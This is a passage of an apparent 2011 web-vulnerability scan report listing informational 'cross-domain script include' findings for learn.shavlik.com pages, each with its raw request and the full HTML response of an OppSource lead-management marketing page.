<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">


       <div id="content" style="background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/secondaryBg.gif') repeat-y;">
                           <div id="leftCol"><img width="196" height="478" alt="How we grow your leads into sales" src="/wp-content/themes/oppsource3/images/leftCol/leadCapture.jpg" /></div>
<div id="mainCol">
<div id="mainColInner">
<h1>How we grow your <span class="blueBigText">leads into sales</span>.</h1>
<p>Every company has a lead management process, but none is more complete or carefully administered than OppSource. We...ve spent years developing and refining a comprehensive, personalized approach to lead nurturing ... and proven our processes with real results for demanding clients. Our lead nurturing process begins by capturing all leads in the OppSource lead management database.</p>
<h1 style="font-size: 20px;">Lead Capture</h1>
<p>Lead management will fail unless marketers capture and track all leads and lead sources including ads, trade shows, direct mail and digital sources such as webinars, websites and email. Our lead capture approach focuses on both inbound and outbound lead generation efforts. Our tracking begins with a single centralized database ... governed by a common process and methodology for managing opportunities as they move through the marketing funnel and become a qualified sales opportunity (QSO).</p>
<div class="bottomNav">
<p class="bottomNavLink"><a href="http://www.oppsource.com/lead-management/">Lead Management</a></p>
<p class="bottomNavLink"><a href="/content-marketing">Content Marketing</a></p>
<p class="bottomNavLink"><a href="/lead-nurturing">Lead Nurturing</a></p>
<p class="bottomNavLink"><a href="/lead-scoring">Lead Scoring</a></p>
<p class="bottomNavLink"><a href="/opportunity-handoff">Opportunity Handoff</a></p>
<p class="bottomNavLink"><a href="/lead-funnel-measurement">Lead Funnel Measurement</a></p>
</div>
</div>
</div>
<div id="rightCol">
<div style="margin: 15px 0pt 0pt 10px; width: 175px; border-bottom: 3px solid #f36f3e; padding-bottom: 20px;" class="singleLeftNavLinkContainer">
<div style="text-align: center;"><img width="70" height="72" class="alignnone size-full wp-image-258" alt="Lead Capture" title="Lead Capture" src="/wp-content/themes/oppsource3/images/icons/leadTracking.jpg" /> <br style="clear: both;" />
<div style="color: #333333; font-size: 18px; text-align: center; margin-top: 15px;">Lead Capture</div>
</div>
</div>
<div style="padding: 20px; line-height: 16px;">
<p class="quote" style="margin-bottom: 10px; font-size: 12px; line-height: 22px;"><span style="font-size: 16px;">"</span>So many companies are rushing to implement search and social media marketing programs without thinking through how they will capture interested contacts. This is an expensive ready-shoot-aim approach that is not only wasteful in dollars and cents, it can be detrimental to your brand when prospective customers show up to what amounts to an unattended store. <span style="font-size: 16px;">"</span></p>
<br style="clear: both;" />
<p>Mark Galloway<br />
President <br />
OppSource.com</p>
</div>
</div>
<p> </p>
       </div>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

7.10. http://learn.shavlik.com/lead-funnel-measurement previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/lead-funnel-measurement

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /lead-funnel-measurement HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:41:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Lead Funnel Measurement, Minneapolis, St. Paul, Minnesota</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Lead Funnel Measurement Comments Feed" href="http://www.oppsource.com/lead-funnel-measurement/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<link rel='prev' title='Content Marketing' href='http://www.oppsource.com/content-marketing/' />
<link rel='next' title='Services' href='http://www.oppsource.com/services/' />
<meta name="generator" content="WordPress 3.0.1" />



<meta name="description" content="Lead measurement gives marketers a better idea of the value or their marketing. OppSource can help provide the ability to track these values." />
<meta name="keywords" content="lead management, lead funnel measurement, crm integration, oppsource" />
<link rel="canonical" href="http://www.oppsource.com/lead-funnel-measurement/" />

<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

   <link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/secondary.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">


       <div id="content" style="background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/secondaryBg.gif') repeat-y;">
                           <div id="leftCol"><img width="196" height="478" src="/wp-content/themes/oppsource3/images/leftCol/leadFunnelValue.jpg" alt="Traditional lead management systems waste opportunities. So we built a better one" /></div>
<div id="mainCol">
<div id="mainColInner">
<h1>Traditional lead management systems waste opportunities. So we built <span class="blueBigText">a better one</span>.</h1>
<p>Lead follow-up is an activity where lots of things can fall through the cracks. Marketing departments managing activities such as campaigns, trade shows and other efforts often lack the people, processes and technologies needed to manage leads in the marketing funnel. As a result, some are never followed-up on or are handed off to sales before the opportunity has been qualified.</p>
<h1 style="font-size: 20px;">Lead Funnel Measurement</h1>
<p>We believe effective lead management programs should offer a comprehensive, transparent view of the status of all leads. We make every digital and personal interaction visible on an executive dashboard containing a detailed micro-view of where each lead originated, the number of interactions, the lead score and additional customized attributes.</p>
<p>We also provide the ability to track the opportunities to revenue. When integrated with your CRM system, our lead management system provides essential sales pipeline information. This CRM integration enables greater accountability and ROI validation for the marketing programs and activities you administer.</p>
<div class="bottomNav">
<p class="bottomNavLink"><a href="http://www.oppsource.com/lead-management/">Lead Management</a></p>
<p class="bottomNavLink"><a href="/content-marketing">Content Marketing</a></p>
<p class="bottomNavLink"><a href="/lead-capture">Lead Capture</a></p>
<p class="bottomNavLink"><a href="/lead-nurturing">Lead Nurturing</a></p>
<p class="bottomNavLink"><a href="/lead-scoring">Lead Scoring</a></p>
<p class="bottomNavLink"><a href="/opportunity-handoff">Opportunity Handoff</a></p>
</div>
</div>
</div>
<div id="rightCol">
<div class="singleLeftNavLinkContainer" style="margin: 15px 0pt 0pt 10px; width: 175px; border-bottom: 3px solid #f36f3e; padding-bottom: 20px;">
<div style="text-align: center;"><img width="70" height="72" alt="Lead Funnel Measurement" src="/wp-content/themes/oppsource3/images/icons/leadMeasurement.jpg" title="Lead Funnel Measurement" class="alignnone size-full wp-image-258" /> <br style="clear: both;" />
<div style="color: #333333; font-size: 18px; text-align: center; margin-top: 15px;">Lead Funnel Measurement</div>
</div>
</div>
</div>
       </div>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

7.11. http://learn.shavlik.com/lead-management previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/lead-management

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /lead-management HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:41:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Lead Management, Minneapolis, St. Paul, Minnesota | OppSource</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="http://www.oppsource.com/wp-content/themes/oppsource3/style.css" />
<link rel="pingback" href="http://www.oppsource.com/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Feed" href="http://www.oppsource.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Comments Feed" href="http://www.oppsource.com/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="Oppsource.com » Lead Management Comments Feed" href="http://www.oppsource.com/lead-management/feed/" />
<link rel='stylesheet' id='A2A_SHARE_SAVE-css' href='http://www.oppsource.com/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.3' type='text/css' media='all' />
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2'></script>
<script type='text/javascript' src='http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.oppsource.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.oppsource.com/wp-includes/wlwmanifest.xml" />
<link rel='index' title='Oppsource.com' href='http://www.oppsource.com/' />
<link rel='prev' title='Customer Login' href='http://www.oppsource.com/customer-login/' />
<link rel='next' title='jaredtest' href='http://www.oppsource.com/jaredtest-2/' />
<meta name="generator" content="WordPress 3.0.1" />



<meta name="description" content="Successful companies are investing in lead management to maximize the performance of both marketing and sales. OppSource can help optimize your success." />
<meta name="keywords" content="lead management, content marketing, lead nurturing, lead capture, lead scoring, opportunity handoff, lead funnel measurement, oppsource" />
<link rel="canonical" href="http://www.oppsource.com/lead-management/" />

<style type="text/css">
.avatar {vertical-align:middle}
.credit {font-size: 50%;}
</style>
       
<script type="text/javascript">
   var analyticsFileTypes = [''];
   var analyticsEventTracking = 'enabled';
</script>
<script type="text/javascript">
   var _gaq = _gaq || [];
   _gaq.push(['_setAccount', 'UA-12696934-3']);
   _gaq.push(['_trackPageview']);

   (function() {
       var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
       ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
       var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
   })();
</script>

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

   <link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/secondary.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">


       <div id="content" style="background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/secondaryBg.gif') repeat-y;">
                           <div id="leftCol"><img height="478" width="196" alt="Leads need to be led" src="/wp-content/themes/oppsource3/images/leftCol/contentMarketing.jpg" /></div>
<div id="mainCol">
<div id="mainColInner">
<h1>Marketing is <span class="blueBigText">evolving</span>.<br />
<span class="blueBigText">Lead Management</span> needs to do the same.</h1>
<p>Marketing provides important value in building awareness of a company's brand and in generating leads.  But more and more companies are demanding quantifiable proof of that value.  OppSource provides that payoff by getting the most out of your marketing expenditures by developing new leads and better nurturing the ones you already have. </p>
<p>Studies of companies show that 80% of marketing leads are never converted to sales.  OppSource provides a new, more effective approach to lead management that improves success by assuring all interest and leads are groomed and nurtured into something more. </p>
<h1>How we grow your <span class="blueBigText">leads into sales</span>, while also creating new ones.</h1>
<p>Every company has lead management process, but none is more complete or carefully administered than OppSource.  We've spent years developing and refining a comprehensive, personalized approach to lead generation and lead nurturing - and we've proven our processes with real results for demanding clients.  Our process can be broken down into <strong>6 key elements: </strong><a href="http://184.106.252.53/content-marketing/">content marketing</a>, <a href="http://184.106.252.53/lead-capture/">lead capture</a>, <a href="http://184.106.252.53/lead-nurturing/">lead nurturing</a>, <a href="http://184.106.252.53/lead-scoring/">lead scoring</a>, <a href="http://184.106.252.53/opportunity-handoff/">opportunity handoff</a> and<a href="http://184.106.252.53/lead-funnel-measurement/"> lead funnel measurement</a>.</p>
</div>
</div>
<div id="rightCol">
<div style="margin: 15px 0pt 0pt 10px; width: 175px; border-bottom: 3px solid #f36f3e; padding-bottom: 20px;" class="singleLeftNavLinkContainer">
<div style="text-align: center;">
<p><img height="72" width="70" alt="Content Marketing" src="/wp-content/themes/oppsource3/images/icons/contentMarketing.jpg" title="Content Marketing" class="alignnone size-full wp-image-258" /></p>
<h1>Six Pillars of Lead Management</h1>
</div>
</div>
<div style="padding: 20px; line-height: 16px;">
<p><a href="http://184.106.252.53/content-marketing/"><span style="font-size: 16px;">Content Marketing</span></a></p>
<p><a href="http://184.106.252.53/lead-capture/"><span style="font-size: 16px;">Lead Capture</span></a></p>
<p><a href="http://184.106.252.53/led-nurturing/"><span style="font-size: 16px;">Lead Nurturing</span></a></p>
<p><a href="http://184.106.252.53/lead-scoring/"><span style="font-size: 16px;">Lead Scoring</span></a></p>
<p><a href="http://184.106.252.53/opportunity-handoff/"><span style="font-size: 16px;">Opportunity Handoff</span></a></p>
<p><a href="http://184.106.252.53/lead-funnel-measurement/"><span style="font-size: 16px;">Lead Funnel Measurement</span></a></p>
<p><span style="font-size: 16px;"><br />
</span></p>
<p><a href="http://184.106.252.53/lead-funnel-measurement"><span style="font-size: 16px;"><br />
</span></a></p>
</div>
</div>
<p> </p>
       </div>


           <br style="clear:both;">
           <div id="footer">
           <div id="socialMedia">
               <p>FOLLOW<BR>US ON:</p>
               <a href="http://www.facebook.com/oppsource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/facebook.jpg"></a>
               <a href="http://twitter.com/OppSource"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/twitter.jpg"></a>
               <a href="http://www.linkedin.com/company/oppsource.com"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/linkedIn.jpg"></a>
               <p class="singleLine">SUBSCRIBE:</p>
               <a href="/index.php?feed=rss"><img src="http://www.oppsource.com/wp-content/themes/oppsource3/images/rss.jpg"></a>
               <p class="singleLine">OppSource Blog</p>
           </div>
           <div style=" float:right; margin-top:8px;">
               <div style=" font-weight:bold;">
                   
                   <a href="/services" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Services</a> |
                   <a href="/customers" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">Customers</a> |
                   <a href="/about-oppsource" style="color:#8C8D7F; text-decoration:none; font-weight:bold;">About Us</a>
               </div>
           </div>

           <br style="clear:both;"><br><br>


       </div>
       <br style="clear:both;">


   <span>© Copyright 2011. OppSource Inc. All rights reserved</span>
   </div>

   <br style="clear:both;">
</div>
   <div id="bottomRounded" style="width:966px; height:36px; background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/footer.png') no-repeat;" >

</div>
</div>

</body>
</html>

7.12. http://learn.shavlik.com/lead-nurturing previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://learn.shavlik.com
Path:	/lead-nurturing

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.oppsource.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1
http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js
http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js
http://www.oppsource.com/wp-includes/js/comment-reply.js?ver=20090102
http://www.oppsource.com/wp-includes/js/jquery/jquery.js?ver=1.4.2

Request

GET /lead-nurturing HTTP/1.1
Host: learn.shavlik.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: CFTOKEN=95679479; __utmz=202100691.1300711269.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=610666; __utma=202100691.944756920.1300711269.1300711269.1300711269.1; __utmc=202100691; __utmb=202100691.4.10.1300711269;

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Mar 2011 15:41:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
X-Pingback: http://www.oppsource.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8

   <script language = "javascript">
       window.location = 'http://learn.shavlik.com/shavlik/';
   </script>

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>Lead Nurturing, Minneapolis, St. Paul, Minnesota</title>
